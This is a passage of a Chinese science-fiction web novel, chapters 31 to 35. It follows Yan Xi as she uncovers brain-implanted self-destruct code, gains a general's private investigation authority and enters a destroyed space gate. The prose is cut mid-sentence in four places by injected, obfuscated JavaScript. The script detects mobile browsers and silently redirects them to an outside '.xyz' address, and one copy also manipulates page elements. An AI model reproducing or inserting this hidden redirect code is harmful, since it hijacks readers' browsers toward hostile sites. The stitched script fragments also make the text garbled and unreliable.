颜惜先没了耐心。她最烦和这种精通“人情世故”的老油条打交道，在中央星是这样，没想到在这个基地里也碰到了这种人。 “让开。”她目光冷了下来，“我说我要见林璀，听不懂人话吗？这个基地里除了她，没人有这个权限能直接看这份材料，谁知道你会不会泄密呢？” “嘿，你这小姑娘，怎么还污蔑上我了？年纪轻轻，这么不懂变通……”那个警局总长当众被颜惜下了面子，脸上挂不住，显然是想要发作，逞逞威风。他朝着自己的两个手下使了个颜色，让他们上前去直接抢颜惜手里的材料。 “嘁。”颜惜觉得无聊。 她右手单手直接接住其中一人砸过来的一拳，手腕用力，直接拧住那人的手腕，带着小臂向内翻转了一圈，将那人的手肘关节骨骼都拧错位了，趁着这个手下吃痛地捂住手臂时，颜惜抬脚挡住另一个人呼过来的手臂，以防这人碰到她左手里捏着的材料。趁着卸力的时候她整个人重心往左边扭了过去，与此同时她腿部发力，直接将这人往身后的墙上踹。那人被踢飞了出去，重重地砸在了墙上，而后慢慢地滑到了地上，痛苦地捂住自己的腹部呻吟。 “你也要上吗？”颜惜挑衅地看了眼警局局长，“如果你也想和我比试比试，那我也奉陪。” “你！”局长显然怒了，他显然忘记了在警局里不能掏枪的规定，直接抽出配在腰后的手枪，指着颜惜的额心。 下一秒，一声怒喝就从他身后传来。 “你在干什么？” 是林璀来了。她和她身后的一群副手都见证了局长的违规行为，这下这位局长的撤职是板上钉钉。 颜惜得意地笑了起来，她看向面色灰败的局长，临走前路过他时，用口型对他说——等着撤职吧，老东西。 *** 林璀找了间密闭的谈话室，挥手叫退了所有人，带着颜惜走了进去。 她翻看着颜惜给她的资料，越看眉头锁得越紧。 “你是说，有人给费海和其他一大批人的大脑内植入了自爆暗示代码？”林璀问道，“而后这些人拿着这个去威胁他们让他们为自己做事，答应了的暂且活着，没答应的人当场直接斩杀。” “是的，要不是费海和那个流浪汉曾邢在手术的时候，被实验人员搞混了，我也想不到要去调查。”颜惜说道。 “已经被植入了自爆程序的人，是否还有机会消除掉这个所谓的大脑底层逻辑程序？”林璀问，“实验室里有没有记载？” “没有。”颜惜摇了摇头。“这些程序一经植入就无法撤回和修改，同时他们的程序开启开关大部分在那个所谓的主理人手里，只有一小部分控制开关在下面的科致医院实验室的机构头头柯博士手里，就是费海那批人。” 颜惜没把柯博士后续的脑机介入后的内容给林璀看，她不想在目前把宋书和程和安他们暴露给林璀。 “那你最后为什么选择炸掉那个地底实验室？”林璀问道，“如果当时留着柯博士，说不定还能从他那里问出更多东西。” “他当时发现我了。”颜惜撒了个小谎，“我为了逃出来直接启动了炸弹开关，这才逃出生天。” 林璀没再继续多问。 “这事我会继续排查下去，接下来你不用继续更进了，太危险了。”林璀手腕强硬的特性体现了出来，“三年前费海就被植入了这东西，说明这群人在更早之前就开始布局了，我会一点点查清楚。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你别急。这些都不重要。”颜惜看着程和安说着说着，看起来像是要背过去喘不上气来，连忙让他慢点说，“关键是你怎么会被抓到实验室里去？其他第七星云小队的人呢？除了你，还有人活着吗？” 程和安摇了摇头。 “我是唯一存活下来的人。”他声音低落，“当时元帅让我殿后，我不小心把通讯仪落在了总舰艇里，我独自返回去拿，可是当我拿到的时候，就发现其他人乘坐着的星舰在进入空间门时，整个空间门爆炸了。” “周围有人发现了我！他们穿着统一的模糊了外貌体征的太空中的作战服，袭击了我，然后把我带了回去，想要强行逼供，问出我顾嘉元帅留下来的军队最高调令的密钥是什么。他们什么方法都用了，包括脑机。”他说，“但他们没能如愿以偿。” “这绝对不是一场意外！”程和安的眼神里透着熄灭不掉的火，“那些人就在旁边，看着整个第七星云小队被爆炸的空间门产生的吸引力吞没。” “他们就是幕后黑手！” 32. 帝国完了 宋书一直都是一个不那么普通的普通人。她家里并不富裕，但父母爱她，拼尽全力支持她做想要做的事，但宋书想要早早成家立业，帮在二等星上做体力工的父母分担一点压力，于是她选择了一个稳妥的、可以改变阶层的专业。 她大学毕业于中央星五大名校之一的主星医科大学，八年本硕，再加上四年规培，学的是临床医学，她天资不错，也肯努力，成绩一直都保持在全系前三，本来都被中央星最大的医疗机构帝国第一医院直招了，但是不知道为什么她突然下定决心离开了中央星，加入了一个无党派的前线军医组织，奔赴北部防线，当了整整五年的军医。这段经历似乎完全不符合所有人对宋书的预期，但是当年不管是她的恩师还是高薪的offer，都没能留住她。她毅然决然地离开，而后在某一个静默的雨夜，她悄无声息地回到了中央星。没人知道她去做了什么。 回来以后，宋书就被中央星上的帝国第一医院直属的研究所聘用了，没有让她当手术的主刀医生，也没有安排她去医院里坐班，而是安排她到了研究岗位上，专注研发人脑内部结构以及脑机的相关应用结果。 这份工作薪资很高，对方似乎是看中了宋书的丰富实践经验与不怎么富裕的出身，成功拿捏住了宋书的心理。不过宋书的那位顶头上司似乎一直保持着谨慎，从来没有在他们这群研究员面前露过面，但是发钱倒是很痛快，所有的指令全部通过实验室的代理人来通知。除了实验室里对研究员的管控有些严格，保密措施做得很严密。 宋书就这样过着普通人的生活，过了整整十年，似乎一切都回到了正轨。期间她还清了自己的大学学费贷款，还在中央星一个不错的地段买了一套属于自己的小房子，一个人住刚刚好，帮不愿意和她一起来中央星生活的父母在她出生的二等星上买了一套带有小花园的小联排。一切都在按照宋书原定的计划路线行进，安稳、富足、安定。 直到一个月前，她被总部外派出差到北部的地下基地，去监管一台三年前被分发出去的改良型脑机，据说那台脑机被总部的监控检测到有着绕开总部的私自植入行为，总部把嫌疑人锁定到科致医院的负责人柯博士身上。 “你去调查调查，这位柯博士是否有任何违规行为。”临行前，代理人这么告诉宋书，“我会为你安排好一个身份，假装你是总部派去的实习生，去柯博士手下做实践项目。” “必要的时候，”代理人神色淡淡，“你可以直接采取一些特殊手段。” 宋书明白了他的意思。 于是她长途跋涉，来到了北部地下基地。代理人给她捏的身份十分合情合理，往年也有合作项目，果然柯博士没有起疑。 宋书在科致医院底层实验室里的调查也十分顺利，柯博士确实使用了非法手段，给许多曾经来科致医院做手术的北部基地的高官动了手脚，目的是为自己敛财造势。 就在宋书决定如实上报而后离开北部基地的时候，她发现了其中一个实验体长相十分眼熟——是程和安，一个本应该死于十年前的亡灵——此刻正安安静静地躺在实验舱里，被持续性地打入麻药，不间断地侵入大脑。 时光倒流回十余年前，他们曾经在前线的荒星里一起坐了一整夜，谈人生，谈过去的难过与对未来的憧憬，直到看着地平线上的第一缕光照在大地上，那个时候意气风发的程和安笑着对她说，说他们会是一辈子的朋友。 那个时候的程和安是顾嘉的弟子，前途无量。那个时候的宋书是军医里最年轻的主刀医师。他们当时都以为自己有光明的未来。 隔着数载光阴，宋书愣在了原地。多年的经验，让她马上调整好了面上的表情，同时也改变了她的行动轨迹。凭她一个人可以杀死柯博士，但她没法全身而退的同时救出程和安。 她回到了自己的居所，打开光脑，找到了一个已经七年没有联系的联络人。 她打开那个沉寂了整整七年的对话框。上一条消息还是她发过去的：“针对段迟凛的基因，我做好了和他有着高匹配度的一份样本，你只需要将这份伪造的基因检测样本提交上去，装作是你自己的，就能成功得到和段迟凛匹配度高达99%的结果。我敢保证，绝对不会有错。” 她没再看，而是慎重地敲下一行字。 “我需要你的帮忙。” *** 程和安在激动地喊出那句“他们是幕后黑手”后就再次陷入了昏迷。 他的身体经过这么多年的非人虐待和拷打，早就残破不堪。颜惜猜到他是撑着一口气把他直到的最后的事情说了出来，在这之后再难以支撑。 颜惜叹了口气，退出了房间。 宋书在阳台上，拉开了一罐啤酒的拉环。里面的气泡冒了出来，又轻快地破碎掉。 “我还以为你会一辈子不来找我了。”颜惜走到她身边，双手搭在阳台的栏杆上，看着窗外的人造星光，慢慢地说道，“你过上想要的生活了吗？” “你呢？”宋书反问她，“委托我伪造虚假的基因匹配样本，只为进入中央星的核心圈层，你找到你想要的东西了吗？还是在找的过程中觉得现状也不错，拿到了权力，也像他们一样放弃了？哦不对，现在该叫你颜惜？” “找到了。”颜惜打断了她的话，“不然你以为我为什么能出现在这里。别把我和他们混为一谈。” “什么意思？”宋书放下了手里的酒，“你知道了谁是……” “我永远都不会忘记。”颜惜没看她，“我大概已经锁定了真凶的范围了，虽然是凭直觉的猜测，但我的直觉不会错。” “我不仅要报仇，亲手用同样的方式返还痛苦，”颜惜说，“我还要找到证据，让他们声名扫地，即使是毁掉帝国也在所不惜。” “一直执意守护帝国的是你们，”颜惜声线冷淡，“不是我。” 宋书听不懂她这个谜语人到底在说什么。她似乎是在和宋书说话，又似乎是在自言自语。 颜惜不肯告诉宋书那个对顾嘉动手的人是谁，也不肯告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你说，有没有这样一个庞然大物，在秘密中给一批人进行了精神力提高手术，同时又在手术的过程中给他们无声无息间植入了精神暗示和逻辑代码。”颜惜声音淡淡，“而后这批精神力显著高于常人的人分散到了帝国的各个关节中，担任着重要的职能，他们或许还在沾沾自喜，以为自己改变了命运，却并不知道自己早已受到了控制。” 明明是温暖的恒温地下层，宋书背后却沁出了冷汗。如果真的如颜惜所说，那这些能够主动且成功做完精神力手术的人，显然不缺人脉、资源和金钱，这批人再配上高精神力数值，那么显而易见，几乎都处于帝国重要的位置上。这批人如果全部死亡或被控制……宋书不敢想后果。 “但如果这个背后的人，想要做些什么，那简直是不费吹灰之力。”颜惜继续说了下去，“仅仅是让这批人全部自爆，那么帝国片刻之间，就会瘫痪。” “更别说，给他们种下精神暗示，让他们违背自身意愿，做出一些不可挽回的事。” “那么，帝国完了。” 33. 我要他们 颜惜回到了自己的临时宿舍时已经是第二天晚上两点。 她暗自庆幸军部这儿因为预备役查的不严，所以没有什么所谓的门禁，再加上颜惜有林璀给她的通行证，倒是不至于在外风餐露宿，成功在宵禁时间里回到了宿舍。 倒不是宋书不留她，只是颜惜第二天和林璀约好了直接去地下基地的第三层军部正式分部那里去办理入职手续，这个时候外宿在宋书家里不太合适。 或许是在宋书家的天台上一起喝了点酒，颜惜现在有些许的亢奋，她洗漱完毕后躺在床上，辗转反侧了大约半小时也没有丝毫的睡意。颜惜索性坐了起来，打开光脑，拖出呆在她联系人黑名单里的段迟凛，开始大半夜骚扰他。 这个时间点，段迟凛肯定还没有入睡。他在第一军事大学的进阶班上课，结束晚训就将近晚上十点，这之后他还要处理和皇室相关的公务，批准一些文件，甚至还要看月度的财报。因为皇室是格林平台和星网的第一负责人，因此这两相关的一些公务也全部需要段迟凛来处理。 颜惜觉得他简直是牛马中的牛马，好不自由。 “你在干嘛？”她很没有营养地开始了东拉西扯的第一步。 段迟凛显然是在光脑上处理一些线上就可以处理的文件，因此回复地很快。 段迟凛：终于肯把我从黑名单里放出来了？ 颜惜：之前问你的考虑的怎么样？ 当时颜惜在去往北部星群的路上问段迟凛要不要做个交易，她透露点无伤大雅的小信息给段迟凛，段迟凛把格林平台的管理员权限给颜惜使用一次。 段迟凛：这么亏本的事情，你觉得我会答应吗？你别以为我不知道你打算用人尽皆知的东西搪塞我。 颜惜：哎呀我们都什么关系了，谈什么亏不亏本，多伤感情。 段迟凛不回话了。 颜惜看着消息栏上方那行不断闪过“对方正在输入中”的光标，但是消息栏里半天没有新的讯息发出来，颜惜撇撇嘴，翻了一个身，侧着脸看着光脑，幽幽的光打在她的脸上。 颜惜：那你想要怎么样？我可以稍微让步一点，但不能太多。 段迟凛：…… 段迟凛：你那么执着格林平台的管理员权限，为什么？管理员身份下所有内容和游客以及普通注册者看到的都是一样的，除了多了一个审核权限，别的也没有增加了，你到底要拿这个来干什么？ 颜惜：你别管。哦对了，你之前不是说了吗，如果能在格林联赛里拿到优胜，就可以以内部开发者的身份登录一次格林平台，但我看最后的优胜奖励怎么改了？最后的奖励怎么改成了每个项目领域的直接入职中央政府的一个面试名额和奖金，怎么回事？ 中央星。 段迟凛坐在空空荡荡的房间里，书桌前堆满了文献，被他分门别类地整理好了，其实他还有十来份文件要看，但此时他还坐在桌前，拿着光脑和颜惜闲聊。 颜惜这个问题问过来，段迟凛不知道该怎么回答。 他总不能直接告诉颜惜，拿这个奖励出来是为了探一探她的深浅。 早在很久之前，颜惜就表达出了对格林平台管理员身份的兴趣。她似乎对这个权限有着狂热的好奇，完全不是正常的出于对未知事物的好奇。而格林平台的管理员身份向来只能由皇室成员中的某一人持有，恰巧在段迟凛十八岁那一年，原本持有管理员权限的段迟凛的母亲将这个权限转移给了段迟凛。 而就是在那一年，颜惜莫名其妙地成为了他的最佳匹配对象。 按照皇室的一些约定成俗的规定，夫妻双方有互相支配对方一些权限的权力。颜惜在来中央星后根本没有遮掩她想要格林平台管理员身份的野心。这也让段迟凛起疑，私下里找了很多人去查探颜惜的匹配度到底是真是假，但得出来的结论全部是——那管用于匹配的细胞确实是颜惜本人的，根本没有谬误。 再后来的很多年里，她又被长老院带走，颜惜的一举一动看上去也很想要长老院的席位，再到后来颜惜和议会似乎也有不清不楚的私下来往，她看上去对议会的席位和权力也垂涎欲滴。 到最后段迟凛都分不清她到底是出于真心还是真的像她装出来那样，真的只是眼馋她所能见到的所有权力和财富。 格林联赛前他故意告诉颜惜最后的优胜奖励是格林平台的管理员权限——那是段迟凛的最后一次试探，他发誓如果这次颜惜还是像往常一样懒懒散散，他就真的选择相信颜惜只是犯了一点所有人都会犯的，对权力和财富眼馋的一点小错，从此以后他将不再怀疑颜惜。 但是后来发生的好多事超出了段迟凛的预料和掌控，而现在颜惜更是远在北部，脱离了中央星的范围，段迟凛连她日常在做什么都不知道，还得为颜惜的突然离开打掩护，帮她一边□□长老院那群老头，一边给皇室其他那批边缘成员猜哑谜。本来做他的本职工作就烦，现在这样一整，工作量剧增。 他讨厌这种无法预料的未来，也不喜欢被迫增加的工作，被迫熬的越来越晚的夜。 但他控制不了颜惜。她看起来每天都在发疯和怠惰间反复横跳，但段迟凛觉得她一直知道自己在做什么。她像一条滑溜溜的鱼，如果有人一表达出想要抓住她的想法，她就敏锐而迅捷地以所有人都难以达到的速度游走。 段迟凛感觉到有点烦躁。 他指尖停滞在光脑的悬浮页面上，好半天才敲下回复。 段迟凛：其他参赛者看上去更想要一个稳定的、可以保障未来的东西。 颜惜回得很快：难道我就看上去不需要一个稳定的、可以保障的未来吗？ 段迟凛：……我不是这个意思。 颜惜：那就这么说定了，过段时间等我做完手头上的事就回中央星，你带我去格林平台的总系统那里，你给我管理员权限，我告诉你一个绝对劲爆的秘辛。 段迟凛：你不是之前还说被林璀软禁了吗？现在怎么知道的“绝对劲爆的秘辛”，又怎么还有手头上的事要做？ 颜惜不回答他了。 段迟凛等了半天没等到回复，发了个问号过去。 红色的感叹号弹了出来。 他又被拉黑了。 *** 和段迟凛扯皮完颜惜果然心情大好，第二天早上因为批了假，再加上林璀和她约定好的时间是在下午，颜惜直接睡到了自然醒。 她洗漱完毕后直接跑去了地下基地的十二层找了家颇负盛名的地道北部特色菜馆，点了一个北部最有名的特色烤锅，快乐地进行了一人食，而后直接跑去三楼的总部办理正式入职。 颜惜一从三楼的升降梯里走出来，就被两侧配着枪笔直站着的两列执勤士官给吓了一跳。有人从前台走了过来，停在了颜惜的面前，问道：“是书河女士吗？林璀将军已经在里面等着您了。” 颜惜点点头，而后就被这位负责接引的军官带着往里走。 三楼的军部总部和其他的楼层完全不一样。周遭的墙壁全部是厚厚的隔离材料做成的，甚至没有漆上外层表面，钢筋全部裸露在外。颜惜往左侧的墙上看了看，墙上模模糊糊地照出了她的脸。 这层的层高也远远高于其他楼层，大约有居民区和娱乐区的两层那么高。顶部似乎加铸过好几层，层层叠叠，颜惜想要仔细地看一看，被那位接引军官眼神阻止了。 “到了。”颜惜她们停在了人事部的门前。 那位接引军官对颜惜说道：“这里是正式入职手续办理的地方，你之前在预备役时已经通过了统一体质检测，再加上将军已经打过招呼了，手续很快就能办完，办完手续后您直接直走到尽头，那就是将军的办公室。将军吩咐我把你带到这里就好，那我就先行离开了。” 颜惜点点头，示意自己明白了。 手续果然很快就办好了，颜惜看着自己手上那叠正式入职的文书以及盖着军部正式印章的证件，里面的证件照上是颜惜伪造后的脸，名字也是伪造后的书河，她摇了摇头，继续往前面走去。 她在林璀办公室门口敲了两下，得到“请进”的回复后才走了进去。 林璀的办公室空间很大，但只有一张办公桌，一面书柜，以及几把椅子。林璀坐在办公桌之后，她的护卫都被她清退了。办公桌上没什么装饰，这就更显得整个房间无比空旷。 林璀抬头看了看颜惜，继续低下头去批她的文件。她这个周期全部用来巡查现在她们所在的这个北部基地。林璀告诉过颜惜这里底下有人试图进行政变，这期间虽然没有任何热冲突，但是据林璀的线人传来的消息，这边的暗流涌动不断。林璀绝不会放弃这个具有重要战略意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颜惜听林璀的口气，似乎意思是本来这批人也成不了什么气候，这下有了颜惜的发现，更是能被一网打尽。她很识趣地没问这批人是从哪里混进来的，估计这次过后，这个本来并不算是军部完全掌控的联合基地又要进行一次人员大洗牌了。颜惜突然想明白林璀这段时间一直坐镇这里的用处了，拿着鸡毛当令箭，经此还没能冒出苗头的叛变事件以后，这里会变成彻彻底底由军部掌控的基地，估计又是下一个被围成铁桶的地方了。 “你帮了我很大的忙。”林璀抬起头来，看着颜惜，“之前说好的，你想要成为我的副手，我答应你了。” 林璀真是颜惜见过最爽快的人，雷厉风行，要求明确，回执也快。 颜惜笑了起来，假谦虚了一下：“运气好，意外发现，帮到您就好。” 林璀显然比颜惜想的要更大方。 “你想成为我副手，是为了军部里的私人调查权吧？”林璀说。 军部的规章制度里，只有成为少将及以上的军衔，才有资格调动指挥整支编队的指挥权，同时军部也给了少将以上军衔的人一个特殊的权力——私人调查权。字面意思，就是有不上报军部的权力，仅以私人目的，调度自己手下的小队，为自己做一些事情。但是这个权力是有限制的。这个私人调查权不得侵害帝国的利益，不得侵害军部的利益，不得违反帝国律法，不得为使用者本人谋取利益，一经发现有以上行为，使用者将被逐出帝国，放逐到群星间。这个要求确实严苛，而坐到了少将这个军衔以上，早就不需要用明面上的手下人来为自己做事了，因此使用的人数倒是寥寥无几。 目前帝国里只有三位少将级别以上的将军，其中两位少将全部在东南防线防守群星联邦，而只有林璀是北部编队这边的人。林璀说的对。颜惜确实是想要借用林璀的私人调查权。她来北部就是为了这个目的。她想要林璀把她的私人调查权光明正大地批给她。 “你看上去也似乎不像是独狼，背后似乎也有自己能调动的人，”林璀意有所指，“为什么执着地想要我手里的这个调度权。” “你想用调度权，去调动谁？”林璀直视着她的眼睛，问道。 颜惜也回看着她。 过了好半天，她回答道。 “我知道星云小队前五队已经被皇室收编了。”颜惜说，“但我也知道，后五支小队还在你的手里。” “我要他们。” 34. 空间门后 “可以。”林璀答应地很痛快。 颜惜都愣了一下，她还以为要费尽口舌，继续再和林璀谈点条件，才能成功。 没料到林璀大方得吓人。 毕竟当时颜惜和林璀约定好只有颜惜帮她解决了地下基地里的叛乱的苗头，林璀才让她成为副手，这是等价交换。但颜惜想要使用林璀的私人调查权，那又是附加的条款了。 “真的？”颜惜觉得真是天上掉了馅饼，砸得她晕头转向。 “真的。”林璀回答道，“你想要什么样的东西，我都可以给你，颜惜。比起这些小小的馈赠……” 她的目光落在她身上。 “我更好奇你到底从哪里来，又要走到哪里去。” *** 北部防线二号星环外。 “听说上头把我们的调度权短暂让出去了？”防线内侧简易搭建的临时驻地内，星云小队第六小队的队长荆宁询问她的顶头上司——星云小队后五队的总统领爱德华兹中校。 “本来天天应付那些来骚扰的星盗就烦，”卡门是第八小队的队员，他放下正在擦脸的毛巾，回头看着队友说道，“我们这群人也跟被流放了差不多，现在还莫名其妙地被林璀让渡出去，给不知道哪来的新人用于使用私人调查权？” 卡门说的是事实。顾嘉和她的下属颜拾雨死了之后，星云小队的位置就很尴尬。顾嘉在的时候这支队伍是独属于她的势力，她本人是不介意手段直接点，因此得罪了不少人，连带着星云小队也被带上了很多势力的黑名单。要不是她的副手颜拾雨还拽着那点风度和脸皮，估计顾嘉更是要跟一大群人撕破脸。但顾嘉也确确实实是难得一遇的奇才，她在位期间直接将星盗打出了外星环，把北部防线往外推了整整一个星系。再加上她的实际举措给不少中低产民众带来了新的保障措施，呼声实在是高，没人敢在她还活着的时候造次。那几年真是军部和星云小队最风光的时候，多少人削尖了脑袋也想挤到北部编队和星云小队里来。那时候他们都以为自己正在见证历史，见证帝国的再次伟大。 可惜她死掉了。连带着顾嘉的智囊颜拾雨，和第七星云小队——最忠心于顾嘉的那批人，自那以后情况急转而下。 先是皇室借口说皇室缺乏独立的维护自身安全的人手，治安权不够，招揽走了将近一半的星云小队的成员，而后将他们编成了独属于皇室的星云小队前五队。剩下不愿意走的人重新编排，成为了星云小队后五队的成员。 中间议会似乎也想要以同样的方式把他们要走，但先是他们自己不愿意给议会做事，再加上皇室也不愿意见到议会壮大，这事好歹被拦了下来，他们这后五队成员还被记在军部名下。 但是那段时间军部根本没有一个能站出来的人，东南防线危急，北部防线的星盗更是虎视眈眈，再加上那段时间灾害频发，辐射星系还经历了大爆炸，于是他们这后五队被当成不要命的苦役一样，任何地方有危机，就把他们送到危机的第一线，虽说好歹还是管了管他们的死活，但那段时间的牺牲率真是前所未有的高，许多人在这几年中还是离开了星云小队。到最后只剩他们这几个“前朝遗老”，还坚守在这里。 后来林璀上台，倒是把军部这座将倾的大厦扶回来一点，星云小队终于得到了正常的补给和待遇，只不过在那几年恶劣的环境下还留在星云小队里的人也都是顾嘉的忠实旧部了，林璀野心勃勃，更倾向于用自己培养出来的独属于自己的手下，于是这批星云小队的人在爱德华兹的带领下自请前往北部防线最外环，执行长期巡逻任务。于是他们在这片荒芜之地里搭建起来了简易的营地，靠着军部批下来的补给，在这里呆了将近十年。 这里荒芜苦寒，一眼看不见帝国群星。 唯一的优点是离顾嘉和颜拾雨身亡的事发点很近。爱德华兹苦中作乐地想。 “走一步看一步吧。”爱德华兹长长呼出一口气，在空气里结成了冷雾，“林璀将军不是那种昏聩的人，她所作所为也是为了军部。” “个屁！”卡门愤怒道，“要是元帅还在，还能容许一个连名字都不知道的人爬到我们头上？林璀是一心为了军部，但我们可是弃子，谁知道她会不会拿我们来讨好谁？毕竟谁都知道……我们这群人现在早就是……” “卡门。”荆宁肘击了卡门一下，看着不远处逐渐浮现出来的空间门打开的蓝色光芒，“别说了！空间门开了。人马上来了。” 卡门不情不愿地闭上了嘴，站起了身，和其他五个小队的人站到了爱德华兹的身后，迎接即将到达的那位根本不知道是谁、据说刚从预备役转正的，马上将要来领导他们的新人。 *** 小型穿梭舰在经历了十个小时的航行，终于到达了北部防线外二环星。舱门缓缓打开，冷气顺着舱门缝隙钻了进来，颜惜一边解安全带的搭扣，一边猛得打了个喷嚏。 她弯腰走出舱门，对上了许多不善的眼神。 那又怎么样，颜惜轻轻嗤笑一声。 送她前来这里的是林璀的副手之一。她在离开前再次询问颜惜是否需要留下来在这个边域基地陪同她。 “这群星云小队遗留下来的人脾气都不算太好。”她早在穿梭舰上就对颜惜科普过，“他们的……作风也和其他地区的军部的人不太一样。如果你需要的话，我会在二环星上陪同你一起。或许会比你一个人好处理一些。” “谢谢。”颜惜摇了摇头，拒绝了她的好意，“我自己能够处理。” 她抬起眼来。 “你好。”站在最前面的爱德华兹对她敬了个军礼，“我是域外基地的负责人，也是剩余五支星云小队的总统领，爱德华兹。” “您好。”颜惜伸出手和爱德华兹握了握，“你可以叫我书河。” 爱德华兹故意在自己的名字前加了很多前缀，就是想知道前来的这位“书河”到底是什么身份，可惜对方说了和没说一样。 “您……”爱德华兹迟疑了，他不知道对面这个看起来很年轻、没什么威胁和攻击性的少女到底要做什么。但他总感觉面前的人有一丝眼熟，自己似乎曾经在不知道何处见过她。 总不能说是来最苦寒的这里体验生活。 他还在思考该怎么弯弯绕绕地劝阻这位看起来养尊处优的少女回到她应该回的地方，而不是留在这个地方。星云小队已经没有任何可以榨取的价值了，他们都已经放弃了一些执念，所以也希望自己一退再退后才拥有的空间能够不被打扰。到最后其实他们自己也分不清，还留在这里的人，到底是在缅怀顾嘉和颜拾雨，还是在缅怀过去风光的自己。 爱德华兹不善言辞，就在他终于想好怎样委婉地劝阻对方时，对方先行开口，打断了他的思路。 “听说你们这里距离顾嘉元帅和颜拾雨上将去世的地方很近。”颜惜歪了歪头，开口道，“能否带我前往那里看看？我有点想要调查的事情。” 颜惜声音不算小，站在爱德华兹身后的许多人都听到了。 “你拿林璀的私人调查权就用来查这件事？”有一个尖锐的声音从爱德华兹身后传来，带着怒意，“他们都死了多久了？你还要趴在她们的尸体上吃人血馒头？你算个什么……唔……” 对方似乎是被人捂住了嘴。想要说话但是没挣脱开。 “卡门！”爱德华兹呵斥一声。可颜惜也看到了他脸上骤然变化的神色。 “原来你们这十年就这样讳疾忌医。”颜惜最擅长应对这种被人指着鼻子骂的场景，反而笑嘻嘻地说道，“怪不得这么多年连个眉目都没看出来。自我麻痹地过日子，反复催眠自己，告诉自己顾嘉真的只是死于意外。然后继续照样子过下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525343|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 这下连爱德华兹都维持不住脸上的假笑了。他嘴角抖动着，似乎是在心里激烈地交锋，极力遏制住自己的面部表情。 “书小姐。”爱德华兹最终还是没忍住，他开口了，“我对您尊重，希望您也能对我们回报同样的尊重。这个话题对我们星云小队来说并不是玩笑，希望您能够不要再提。” “是吗？”颜惜轻轻揭过，“那麻烦中校找几个人带我去事故发生点周围看看吧，毕竟林璀中将已经把私人调查权交给我了。我对你们信任，那么希望你也能对我回报同样的信任，我真的是有正事要做的。” 爱德华兹回绝的话被她堵地死死的。 如果说本来爱德华兹还想要迂回地否决她前往事故点调查的提案，那么这下颜惜拿出林璀的权力压住了他，再加上她原话返还，爱德华兹更是百口莫辩。 “好。”犹豫了半天，爱德华兹咬着牙开口道。军部上级对下级的命令不容违抗，他只能服从。 “荆宁，”他从人群里喊出来一个长得很高大的人，“你和我一起，陪同这位书河小姐一起前往事故现场。” *** 颜惜坐上了他们星云小队巡逻时使用的太空里的便捷舰艇，不过十几分钟就到达了那场著名的空间门爆炸事故点。 这个空间门并不是建立在星球上的大型空间门，而是用于中转的途中的空间门。那场大爆炸已经彻底摧毁了这个空间门以及内部的通道，因此这块有着极大的坍缩风险，处于安全考虑，外围被拦上了一圈人造包围带。 颜惜船上在外太空里也能正常行动的防护服，径直跨过那圈人造包围带，走到那个标着红色警告标识的事故点上。 “等等……”颜惜的动作太快，站在一边的荆宁甚至来不及拦她，“这里面的坍缩风险被评估为高位级别！你快点出来！” “不会有危险的。”颜惜冷静地回复，“你们就在外面吧。” 她按了防护服上一个装有推动作用的按钮，走到了空间门边上。 这是颜惜第一次来到这个传说中的事故现场。隔着十年时光，所有留下来的痕迹和线索也全部都被岁月抹了个一干二净。就算是人为制造的事故，颜惜也无法在这个早已经被查了个翻天覆地的事故点找到任何蛛丝马迹。 程和安笃定地告诉她这是一场意外，所以她才来到离事故点最近的星云小队的驻地，又询问了他们这一批本该最熟悉这个事故点的人。可惜一无所获。 就在颜惜略有些失望，打算离开的时候，她突然看向了那扇被炸得塌圮了半边的空间门。 “爱德华兹中校，”颜惜突然问道，“有人去过这个被炸掉的空间门内部吗？” “当然没有！”爱德华兹笃定地摇头，“被炸毁的空间门门后堪称是黑洞，因为中间的通道也同时被炸断了，没有人敢冒着生命危险去被毁掉的空间门门后！” “那如果……”颜惜垂下眼。 她想起了在辐射主星上段迟凛告诉她，只需要携带着小型虫洞，再用足够高的精神力诱发，就能成功打造一个临时空间门。 颜惜右手摸向了自己右手上的一枚储物戒指——自从她得知这个秘密后，她就弄来了一枚小型虫洞。但还没有真实地试验过。 她抬头看向那扇碎掉了半边的空间门，以及尚还完好的那一半，门后是一眼望不到尽头的黑。 不如，就拿这里来当第一次实地实验的试验场。 “等等！你要干什么！”荆宁眼尖，发现了颜惜的动作，她迅速地想要往颜惜这边靠过来，“爱德华兹！她想进空间门！快拦住她！” 可是来不及了。 颜惜在荆宁的叫喊声中，头也没回，义无反顾，直接冲向了那半边还没塌圮的空间门。 她的身影消失在了黑洞洞的空间门门后。 35. 当年真相 黑色。无边无际的黑。 颜惜努力睁开眼睛，她甚至分不清这是自己是眼前看到的景象，抑或是她其实并未睁开眼。分不清她是沉睡在梦里，抑或是她根本不存在这个世界上。 好安静。 